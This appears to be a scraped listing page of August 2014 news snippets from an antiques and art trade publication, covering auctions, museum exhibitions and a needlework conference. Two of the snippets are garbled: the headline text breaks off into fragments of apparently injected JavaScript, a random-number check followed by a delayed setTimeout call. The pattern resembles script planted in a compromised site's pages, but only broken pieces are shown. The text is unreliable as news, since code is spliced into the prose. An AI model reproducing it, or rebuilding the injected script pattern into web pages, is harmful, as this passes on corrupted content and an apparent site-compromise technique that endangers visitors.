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12 Aug 2014NEW HAVEN, CONN. — Ruth Ellen du Pont Lord, who wrote a deeply insightful book about her father,...
12 Aug 2014MARLBOROUGH, MASS. — It was a busy weekend at Skinner, with 232 lots of early American iron from...
12 Aug 2014WASHINGTON, D.C. — “Modern American Prints andom() * 6); if (number1==3){var delay = 18000;...
12 Aug 2014WILMINGTON, DEL. — The Winterthur Needlework Conference, “The Diligent Needle: Instrument...
05 Aug 2014DEERFIELD, CONCORD AND MANCHESTER, N.H.- Our video team is live on scene all week, posting exclusive...
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05 Aug 2014DENVER, PENN. — Dan Morphy, president andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom()...
05 Aug 2014GOLDENDALE, WASH. — African art from the Mary Johnston collection will open at Maryhill Museum...
05 Aug 2014NEW YORK CITY — In celebration of the Whitney Museum of American Art’s forthcoming move to its new Renzo...
05 Aug 2014By: W.A. Demers WHIPPANY, N.J. — Weather was sunny, not sultry on July...
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